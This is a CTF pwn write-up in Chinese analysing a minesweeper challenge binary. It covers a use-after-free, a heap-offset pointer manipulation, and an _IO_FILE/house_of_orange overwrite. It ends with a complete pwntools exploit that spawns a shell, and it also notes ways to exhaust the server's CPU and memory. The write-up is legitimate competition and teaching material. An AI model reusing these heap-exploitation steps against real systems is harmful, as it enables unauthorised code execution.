-
-
[原创]CTF2018第十四题分析(qwertyaa)
-
2018-7-13 15:45 3525
-
好像这次比赛5道pwn题,除了第一道都可以用house_of_orange中修改_IO_FILE
的方法做... ...
分析程序
这个程序是个扫雷小游戏,可以提反馈。
这里面主要有unk_204018
是struct
,根据其内存中的先后顺序,可依次将变量命名为step
(指针,指向一个用于显示步数指针),played
(是否玩过),cnt
(指向一个8×8数组,每次标记是否为地雷都会在对应位加减1),isWin
(表示当前是否胜利),hasMine
(指向一个8×8数组,描述对应位置是否有雷),name
(指针,指向一个长度0x10的用于记录获胜者名字的指针)。
程序中除了说明中有的'0'
、'1'
用于标记是否为地雷外还有'2'
、'3'
开启/关闭每次操作后步数+1。
且进入游戏后有三种操作"explore"
(输入说明中的x、y、z
)、"back"
(返回主菜单)、"out"
(退出游戏)。
如下文所述,由于没有自动补上'\0'
,所以上述操作最好在末尾加上一个空格保证正确。
寻找漏洞
首先我们可以发现反馈处是这么写的:
printf("input the length of your feed back:"); size = getInt(); buf = (char *)malloc(size); readBuf(buf, size); free(buf);
话说这个逻辑就是传说中的<a onclick="alert('清理完成!')">清除缓存</a>
吗... ...
这里的size可以为任意大小,但是申请失败后readBuf
肯定不能读任何东西(不然程序马上退出了),不写的话最后free(0)
回到原点。
然后,readBuf
不会溢出,但使得内部的每一位都可写(包括最后一位,除了不能写字符'\n'
),且可以随时停止输入下一字节。
__int64 __fastcall readBuf(char *buf, unsigned int size) { unsigned int i; // [rsp+1Ch] [rbp-14h] char chr; // [rsp+20h] [rbp-10h] unsigned __int64 v5; // [rsp+28h] [rbp-8h] v5 = __readfsqword(0x28u); for ( i = 0; size > i; ++i ) { read(0, &chr, 1uLL); if ( chr == 10 ) break; buf[i] = chr; } return i; }
这里不会将输入内容的后一位赋值为0,但是程序中的输出似乎除了一处马上exit
的(输出的是step
)以外没有什么可以泄露基址信息的。
这里不少结构都有未初始化的毛病,比如在一开始我们反馈bug,把isWin
对应处改为非0值,接下来就可以使得逻辑运行到“请输入英雄的大名”处,不过这没什么用。
另外这题够损服务器的,除了任意malloc
可以使服务器内存所剩无几外,由于没有将hasMine
清零,通过一开始写一个较长的反馈或者三次进入、退出游戏就可以使服务器进入死循环狂吃CPU。(由于随机产生各处的是否有雷时,一旦一开始的hasMine
中为0处不足30个,程序就会认为始终没有随机出足够的雷而死循环。这里的随机算法不是怎么好,关于如何优化可以参见《算法导论》。)
这里的"out"
功能在free
后没有把指针置零,不过由于这个buffer不大,会进入fastbin,played
所在位置还是会保持为0,所以正常操作不会触发UAF,但是如果在一次out
后提交一个长度恰好为0x30(稍微小一点也可以)的bug,并且输入一定长度的内容覆盖掉free
后的played
数值,就可以造成UAF。
此外这题没有了前几题都有的alarm
,给了我们更多的时间进行攻击。
进行攻击
由于这道题似乎没法泄露任何一个地址,我们必须采用别的方法进行攻击。
首先在played
后的是cnt
,由于第一次进入游戏前堆没有被使用,这些malloc
获取的地址相对于堆的偏移是固定的,我们可以把cnt
的低位改成step
在堆中的位置(0x10
)。这样通过标记一个点为炸弹,我们可以调整step
所指向的地址。
而如果我们提交一个较大的反馈,申请这样的空间可以使得malloc
触发malloc_consolidate
,接下来step
指向的内容就会是libc里关于smallbins的一个指针了。
大概如下操作:
p.sendlineafter("$ ","1") p.sendlineafter("* \n----------------------","out ") allocFree(0x1000,"")#trigger malloc_consolidate allocFree(0x30,p64(0)+p64(1)+p8(0x10))#rewrite mineInfo to trigger UAF allocFree(0x1000,"") p.sendline("1")
然后我们就可以通过标记炸弹来加减step
指针,通过"explore \n1,1,2,\n"
来加减指针对应的位置。这些改变都是对一个byte
而言的,所以我们可以把一个ptr
的改变拆分成对多个byte
的改变。
通过改变step
指针,和改变其指向的内容,我们几乎可以做到将libc的任意可写处的byte
值加/减一个特定数。
由于模意义下的加法满足消去律,所以定义x
为原来相对libc的偏移+x=改变后相对libc的偏移
,则libc基址的偏移+原来相对libc的偏移+x=libc基址的偏移+改变后相对libc的偏移
,但是跨byte
间的进位是做不到的,由于随机基址的十六进制下后3位都是0
,而相对基址的偏移一般不超过5位,所以基本上只有十六进制下倒数第5位(实际的第3个byte
)有进位问题。避免进位需要一开始随机基址的十六进制下倒数第四位不能是一些值才行,不过如果对指针的改变不大,这个影响就不大了。经实际测试,我的exp中由于_IO_FILE
结构体和main_arena
地址比较接近,所以攻击成功率还是挺大的。(当然由于要一个一个的加,攻击速度上较慢。)
我选择修改的是_IO_list_all
所指向的原始_IO_FILE
结构体(类似于house_of_orange),这里出于速度考虑,可以将原来的"/bin/sh\x00"
改成简单的"sh\x00"
,然后由于jump_table
指向的内容在data.rel.ro内,所以要直接改掉jump_table
,由于只能加减,必须要修改一处本身为libc基址的偏移+特定值
的地方作为新的jump_table
,我选择修改的是__realloc_hook
。(由于一次运行后__malloc_hook
已经被置空,我又不会在这题里leaking address,所以不能简单地通过修改__malloc_hook
来getshell)。
然后,输入"out "
使程序调用free
函数用以触发double free异常来getshell。接下来就可以得到flag(flag{07bcb1e4f10d6274092efdb0b2cdcfba9}
)。
完整exp如下:
#coding:utf-8 from pwn import * import sys context.arch = 'amd64' if len(sys.argv) < 2: getCur=0x3C4BA8#address for ubuntu16 oripos=0x85A00 dlc=ELF('/lib/x86_64-linux-gnu/libc.so.6') p = process('./minesweep') else: dlc=ELF('./libc.so.6') getCur=0x3C17E8#smallbinPtr oripos=0x83B50#original val on __realloc_hook p = remote(sys.argv[1], int(sys.argv[2])) xpos=0 def allocFree(size,content): p.sendlineafter("$ ","2") p.sendlineafter("feed back:",str(size)) p.sendline(content) def matainTimes(times,x,y): for i in range(times): p.sendline("explore ") p.sendlineafter("input x,y,z",str(x)+","+str(y)+",1,") def modifyTimes(times): for i in range(times): p.sendline("explore ") p.sendlineafter("input x,y,z","1,1,2,") p.sendline("explore ") p.sendlineafter("input x,y,z","1,1,3,") def maintainHelper(pos,a,b): if a<b: matainTimes(b-a,1,pos+1) elif a!=b: matainTimes(b+0x100-a,1,pos+1) def maintainPtr(a,b): p.info("From "+hex(a)+" to "+hex(b)) maintainHelper(0,a&0xff,b&0xff) maintainHelper(1,(a>>8)&0xff,(b>>8)&0xff) maintainHelper(2,(a>>16)&0xff,(b>>16)&0xff) def ptrHelp(a,b): if a<b: modifyTimes(b-a) elif a!=b: modifyTimes(b+0x100-a) def chxpos(pos): global xpos maintainPtr(xpos,pos) xpos=pos def chPtr(a,b): global xpos p.info("When "+hex(xpos)+" from "+hex(a)+" to "+hex(b)) ptrHelp(a&0xff,b&0xff) maintainPtr(xpos,xpos+1) ptrHelp((a>>8)&0xff,(b>>8)&0xff) maintainPtr(xpos+1,xpos+2) ptrHelp((a>>16)&0xff,(b>>16)&0xff) xpos+=2 p.sendlineafter("$ ","1") p.sendlineafter("* \n----------------------","out ") allocFree(0x1000,"")#trigger malloc_consolidate allocFree(0x30,p64(0)+p64(1)+p8(0x10))#rewrite mineInfo to trigger UAF allocFree(0x1000,"") p.sendline("1") xpos=getCur chxpos(dlc.sym['_IO_list_all']+0x20)#build IO_file chPtr(0x86,ord('s')) chxpos(dlc.sym['_IO_list_all']+0x21) chPtr(0x20,ord('h')) chxpos(dlc.sym['_IO_list_all']+0x22) chPtr(0xad,0) chxpos(dlc.sym['_IO_list_all']+0x20+0x20) chPtr(0,2) chxpos(dlc.sym['_IO_list_all']+0x20+0x28) chPtr(0,3) chxpos(dlc.sym['_IO_list_all']+0x20+0x8) chPtr(0,0x61) chxpos(dlc.sym['_IO_list_all']+0x20+0xd8) posb=dlc.sym['__realloc_hook'] chPtr(dlc.sym["_IO_file_jumps"],posb-3*8) chxpos(posb) chPtr(oripos,dlc.sym['system']) p.info("fin") p.sendlineafter("* \n----------------------","out ")#trigger abort p.interactive()
关于libc
我装了一个ubuntu14.04后发现libc还是不一样,不过没关系,版本号接近时将当前libc目录添加到LD_LIBRARY_PATH
中就可以替换libc。(不接近时,例如ubuntu18替换ubuntu16的libc、ubuntu16替换ubuntu14的libc会有段错误产生。)
另外关于main_arena
中的偏移,它们相对main_arena
的偏移一般是不会变的,而IDA中__malloc_hook
后的dword_***
就是main_arena
本身的偏移,利用这点,其实也不是必须要用ubuntu14.04调试。